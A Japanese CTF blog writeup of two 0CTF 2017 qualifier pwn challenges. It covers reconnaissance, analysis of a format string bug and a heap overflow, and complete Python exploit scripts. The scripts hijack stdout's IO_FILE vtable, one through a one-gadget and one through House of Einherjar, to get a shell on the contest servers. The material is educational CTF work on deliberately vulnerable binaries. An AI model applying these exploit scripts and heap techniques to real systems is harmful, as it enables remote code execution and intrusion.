つれづれなる備忘録

CTF関連の事やその他諸々

0CTF 2017 Quals Writeup (EasiestPrintf & Baby Heap 2017)

3ヶ月ぶりの投稿になります.

今回は0CTFのQualsに参加したわけですが,結果は振るわず今年は本戦への参加は難しそうですね.

私自身,EasiestPrintfとBaby Heap 2017の2問しか解けなかったわけで,なんかもうダメ感
charはチームメイトが既に解いていたので,そちらを参考にしてください↓
0CTF 2017 Quals char writeup - ブログ未満のなにか

EasiestPrintf

下調べ

yutaro@ubuntu ~/CTF/0CTF % file EasiestPrintf 
EasiestPrintf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=61cd88e3d189854473fddf7c0ace6450986e4b02, not stripped
yutaro@ubuntu ~/CTF/0CTF % checksec.sh --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   EasiestPrintf

プログラム動作解析

初めに読みたいメモリのアドレスを与えると,そこに格納されている値が読み取れる.
その後,終了処理時に呼ばれるleave関数内で単純なFSBが存在している.

yutaro@ubuntu ~/CTF/0CTF % ./EasiestPrintf
Which address you wanna read:
134520812
0xf75db540
Good Bye
aaaa %x %x %x %x %x %x %x %x %x %x
aaaa ffd6d9ee 1 f762d12d f7775d60 80489c0 22 61616161 20782520 25207825 78252078

入力を与えるとそれがそのままprintfに渡されることが分かる.

方針

初心者向けのWarmup問題かと思いきや,Full RELROなのでGOT Overwriteはできない.
printfでFSBを踏んだ直後は_exitが呼ばれるだけなので,この間にどうにかしてやらないといけなさそう.

初めにチームメイトが考えたのは,_exit内で参照している__kernel_vsyscallへのポインタを任意の関数に書き換えてやるというもの.
__kernel_vsyscallはvdso内に存在しており,libcとかがシステムコールを発行するときに経由するところ.
(自身で発行を行っている関数もあるが)

00000be0 <__kernel_vsyscall@@LINUX_2.5>:
 be0:   51                      push   ecx
 be1:   52                      push   edx
 be2:   55                      push   ebp
 be3:   89 e5                   mov    ebp,esp
 be5:   0f 34                   sysenter 
 be7:   cd 80                   int    0x80
 be9:   5d                      pop    ebp
 bea:   5a                      pop    edx
 beb:   59                      pop    ecx
 bec:   c3                      ret 

しかしこれをやってしまうと,__kernel_vsyscallを経由してシステムコール発行をしているあらゆる関数が正しく動かなくなってしまうので,この方法は却下.
execveとかsystem関数自体が正しく動かないのであれば元も子もないのでね...


そこで,次はstdoutのIO_file_plus構造体が持っているIO_jumpへのポインタを書き換えることを考える.
FSBを使って書き換えが行われた後,実際に画面に出力を行う際にIO_jumpのvtablesは参照されるので,このタイミングを狙って任意の命令に飛ばすことにする.

はじめはvtablesのxsputnをsystem関数に向けてやって,第一引数の部分に'/bin/sh'を置いたがなぜか動かない・・・
なんか面倒になってしまったので,libc内のOne-gadget-RCEを利用することにした.

0x64c75 execl("/bin/sh", [esp+0x4])
constraints:
  ebx is the address of `rw-p` area of libc
  [esp+0x4] == NULL

しかしながら,レジスタとスタックの状態があまりよろしくなく,一発でOne-gadget-RCEが使えない.
そこで,一旦main関数に飛ばしてから,setvbuf内で参照されるvtablesのsetbufをOne-gadget-RCEに向けてやることで解決


さて,方針は立ったわけだが,IO_jumpをどこに置くのかという問題が出てくる.
FSBを使って一気に4byte書き換えができるのならよいのだが,それだと長い時間がかかってしまう.
やはり通常通り2byteずつの書き換えを行おうと思うが,そうすると半分書き換えた時点でIO_jumpを参照しようとしてsegmentation faultを起こして死ぬ.
ふとメモリマップを見てみると,本来のIO_jumpが配置されているページと上位2byteが同じで書き込みが可能なページが存在することに気が付く.

0xf7fb6000 0xf7fb8000 r--p      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p      mapped

あとはやるだけ

Exploit

#!/usr/bin/env python
# https://github.com/shift-crops/sc_pwn/blob/master/sc_pwn.py
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('mode',    local = 'SOCKET', remote = 'SOCKET')
env.set_item('target',  local   = {'host':'192.168.92.129','port':8080}, \
                        remote  = {'host':'202.120.7.210','port':12321})
env.select()

libc = ELF('libc.so.6_0ed9bad239c74870ed2db31c735132ce')
binf = ELF('EasiestPrintf')
addr_got_main       = binf.got('__libc_start_main')
addr_main           = binf.function('main')

#==========
def attack(cmn):
    sleep(3)
    cmn.read_until('read:\n')
    cmn.sendln(str(addr_got_main))
    addr_libc_main  = int(cmn.read_until(),16)
    libc.set_location('__libc_start_main', addr_libc_main)
    addr_libc_rce       = libc.base + 0x64c75
    addr_vtables        = libc.base + 0x1aa000

    fsb = FSB()
    fsb.set_adrval(addr_vtables+0x1c, addr_main+0x30)   # xsputn (printf)
    fsb.set_adrval(addr_vtables+0x2c, addr_libc_rce)    # setbuf (setvbuf)
    fsb.auto_write(index=7)

    exploit  = fsb.get()
    exploit += fsb.write(5,addr_vtables&0xffff)
    cmn.read_until('Good Bye\n')
    cmn.sendln(exploit)

    cmn.read_all()
        
#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    #Interact(cmn).worker(False)
    
    del(cmn)
    
#==========

Baby Heap 2017

その Baby うんたらっていうネーミングをやめろ

下調べ

yutaro@ubuntu ~/CTF/0CTF % file babyheap_69a42acd160ab67a68047ca3f9c390b9 
babyheap_69a42acd160ab67a68047ca3f9c390b9: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
yutaro@ubuntu ~/CTF/0CTF % checksec.sh --file babyheap_69a42acd160ab67a68047ca3f9c390b9 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap_69a42acd160ab67a68047ca3f9c390b9

プログラム動作解析

それぞれのメニューをざっと説明

  1. Allocate
    メモリを指定したサイズだけcallocで確保

  2. Fill
    指定したインデックスのメモリに任意のサイズのデータを送り込める
    思いっきりヒープオーバフローが起こせる

  3. Free
    指定したインデックスのヒープを開放

  4. Dump
    指定したインデックスのメモリから読み出し
    ただし,読み出せるサイズはAllocate時に指定したサイズのみ

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1
Size: 10
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2
Index: 0
Size: 20
Content: aaaaaaaaaaaaaaaaaaaa 

方針

今回,コンテンツを管理している構造体はランダマイズされたアドレスに確保されているため,ここをどうにかする問題ではないと予想がつく.

まず考えることはlibcとheapのアドレスリークである.
これはいたって簡単で,あるチャンク内に別の偽チャンクを生成してやるか,もしくは正しいチャンクを偽の大きなチャンクで覆ってやればよい.
その後に,含まれている方のチャンクをfreeしてごにょれば,freedチャンクのリストとしてlibc内のmain_arena付近のアドレスと,別の解放されたチャンクのアドレスが取得できる.

今回は後者の方法をとる.
サイズを大きく偽装したチャンクを一旦freeしてから再度そのサイズで確保しなおせば,偽の大きなチャンクが隣接したチャンクのヘッダ部分を覆うことになる.
ただし,同じ位置に確保されなければ意味がないため,0x60程度のfastbinsであることが望ましい.


アドレスがリークできたら,次はどこか適当なアドレスの書き換えを目指す.
再びFull RELROなのでGOT Overwriteはできない. しかしながら,freeがあるので__free_hookを狙ってもよいし,先ほどの問題と同様stdoutのIO_file_plus構造体を書き換えてやってもよさそうである.

今回のallocateではcallocを使っているため,House of Force は使えない.(途中を全部0埋めする上,存在しないページにアクセスしようとして死ぬ)
折角なのでチームメイトのなんちゃら氏が考案した House of Einherjar (はうすおぶじゃー)を使ってみることにしよう.
この方法を使用するにあたり,prev_sizeを減じたところには通常のfreedチャンクと同様にリスト構造がなくてはならない.
私がよくやる方法ではあるのだが,main_arenaにはそれっぽいアドレスがいっぱい転がっているので,その終端部分をねらってやることにする.

首尾よくじゃーを発動したのちは,次のcallocでmain_arenaの終端部分が返る.

0x7ffff7dd2350 <main_arena+2096>:       0x00007ffff7dd2338      0x00007ffff7dd2348
0x7ffff7dd2360 <main_arena+2112>:       0x00007ffff7dd2348      0x00007ffff7dd2358
0x7ffff7dd2370 <main_arena+2128>:       0x00007ffff7dd2358      0x0000000000000000
0x7ffff7dd2380 <main_arena+2144>:       0x0000000000000000      0x00007ffff7dd1b20
0x7ffff7dd2390 <main_arena+2160>:       0x0000000000000000      0x0000000000000001

これが

0x7ffff7dd2350 <main_arena+2096>:       0x00007ffff7dd2338      0x00007ffff7dd2348
0x7ffff7dd2360 <main_arena+2112>:       0xffffd5555d9a5ca9      0x00007ffff7dd2358
0x7ffff7dd2370 <main_arena+2128>:       0x00007ffff7dd2358      0x0000000000000000
0x7ffff7dd2380 <main_arena+2144>:       0x0000000000000000      0x00007ffff7dd1b20
0x7ffff7dd2390 <main_arena+2160>:       0x0000000000000000      0x0000000000000001

こうなって,callocで返るのは0x7ffff7dd2368である.

普通のmallocを使っているのであれば,ここで__free_hook直前まで確保してから次のmallocで__free_hookの確保が行えるが,今回はそうはいかない.
先述の通り,callocを使っているため,そんなことをしたら重要なポインタ等々全部吹き飛ばしてしまう.

そこで,小さいサイズだけ確保して被害を最小限にしながらも,何かしら良いものが上書きできないものかと考える.
すると,main_arenaからやや上位に行ったところにstdoutのIO_file_plus構造体が目に入る.
幸いにしてこの間のポインタたちは吹き飛ばしても動くことが確認できたので,stdoutのIO_jumpを偽装することにした.

0x7ffff7dd2350 <main_arena+2096>:       0x00007ffff7dd2338      0x00007ffff7dd2348
0x7ffff7dd2360 <main_arena+2112>:       0x0000000000000091      0x0000000000000000
0x7ffff7dd2370 <main_arena+2128>:       0x0000000000000000      0x0000000000000000
中略
0x7ffff7dd2600 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x00007ffff7dd06e0
0x7ffff7dd2620 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3

今回は,書き換えの後にはじめに呼ばれるIO_jumpはwriteであったため,これをsystemに向くようにしてやる.
IO_jump自体は既知のアドレスであるヒープにでも配置しておけばよさそうである. 第一引数に当たるIO_file_plusの先頭部分には'/bin/sh'を格納しておく.

Exploit

#!/usr/bin/env python
# https://github.com/shift-crops/sc_pwn/blob/master/sc_pwn.py
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('mode',    local = 'SOCKET', remote = 'SOCKET')
env.set_item('target',  local   = {'host':'192.168.92.129','port':8080}, \
                        remote  = {'host':'202.120.7.218','port':2017})
env.set_item('libc',    local   = 'D:\\CTF\\files\\libc-2.23.so_amd64_local', \
                        remote  = 'libc.so.6_b86ec517ee44b2d6c03096e0518c72a1')
env.set_item('offset_libc_main_arena',  local = 0x3c3b20, remote = 0x3a5620)
env.select()

libc = ELF(env.libc)
str_sh = '/bin/sh'

#==========
def attack(cmn):
    bh = BabyHeap(cmn)
    bh.allocate(0x20)   # index 0
    bh.allocate(0x20)   # index 1
    bh.allocate(0x80)   # index 2
    bh.allocate(0x20)   # index 3
    bh.allocate(0x80)   # index 4
    bh.allocate(0x20)   # index 5


    exploit  = '\x00'*0x28
    exploit += pack_64(0x60 | PREV_INUSE) # index 1's chunk header  : size
    exploit += '\x00'*0x58
    exploit += pack_64(0x60 | PREV_INUSE) # fake chunk in index 2
    bh.fill(0, exploit)
    bh.free(1)

    bh.allocate(0x50)   # index 1
    exploit  = '\x00'*0x28
    exploit += pack_64(0x90 | PREV_INUSE) # correct index 2's chunk header(in index 1's chunk)
    bh.fill(1, exploit)
    bh.free(2)
    bh.free(4)


    # index 1 contain freed index 2's chunk header
    leak_data = bh.dump(1)
    libc.base               = unpack_64(leak_data[0x30:0x38]) - (env.offset_libc_main_arena+0x58)
    info('addr_libc_base    = 0x%08x' % libc.base)
    addr_libc_main_arena    = libc.base + env.offset_libc_main_arena
    addr_libc_system        = libc.function('system')
    addr_libc_stdout        = libc.symbol('_IO_2_1_stdout_')
    addr_libc_stdfile_lock  = addr_libc_stdout + 0x1160         # _IO_stdfile_1_lock
    
    addr_heap_base  = unpack_64(leak_data[0x38:0x40]) - 0x120
    info('addr_heap_base    = 0x%08x' % addr_heap_base)


    bh.allocate(0x80)   # index 2
    bh.allocate(0x80)   # index 4
    exploit  = '\x00'*0x20
    exploit += pack_64((addr_heap_base+0x120)-(addr_libc_main_arena+0x838))     # index 4's chunk header    : prev_size
    exploit += pack_64(0xc0 & ~PREV_INUSE)                                      #                           : size
    bh.fill(3, exploit)
    
    vtables      = '\x00'*0x38
    vtables     += pack_64(addr_libc_system)    # write
    addr_vtables = addr_heap_base + 0x130
    bh.fill(4, vtables)

    # House of Einherjar
    bh.free(4)

    bh.allocate(0x80)   # index 4 (allocate at addr_libc_main_arena+0x838)
    fake_stdout  = str_sh
    fake_stdout += '\x00'*(0x88-len(fake_stdout))
    fake_stdout += pack_64(addr_libc_stdfile_lock)
    fake_stdout += '\x00'*0x48
    fake_stdout += pack_64(addr_vtables)
    bh.fill(4, '\x00'*(addr_libc_stdout-(addr_libc_main_arena+0x838)-0x10)+fake_stdout)

class BabyHeap:
    def __init__(self, cmn):
        self.read_until = cmn.read_until
        self.read_all   = cmn.read_all
        self.sendln     = cmn.sendln
        self.send       = cmn.send

    def allocate(self, size):
        self.read_until('Command: ')
        self.sendln('1')
        self.read_until('Size: ')
        self.sendln(str(size))
        self.read_until('Index ')
        return int(self.read_until())

    def fill(self, index, content):
        self.read_until('Command: ')
        self.sendln('2')
        self.read_until('Index: ')
        self.sendln(str(index))
        self.read_until('Size: ')
        self.sendln(str(len(content)))
        self.read_until('Content: ')
        self.send(content)

    def free(self, index):
        self.read_until('Command: ')
        self.sendln('3')
        self.read_until('Index: ')
        self.sendln(str(index))

    def dump(self, index):
        self.read_until('Command: ')
        self.sendln('4')
        self.read_until('Index: ')
        self.sendln(str(index))
        self.read_until('Content: \n')
        return self.read_until('1. Allocate', contain=False)
        
#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    #Interact(cmn).worker(False)
    
    del(cmn)
    
#==========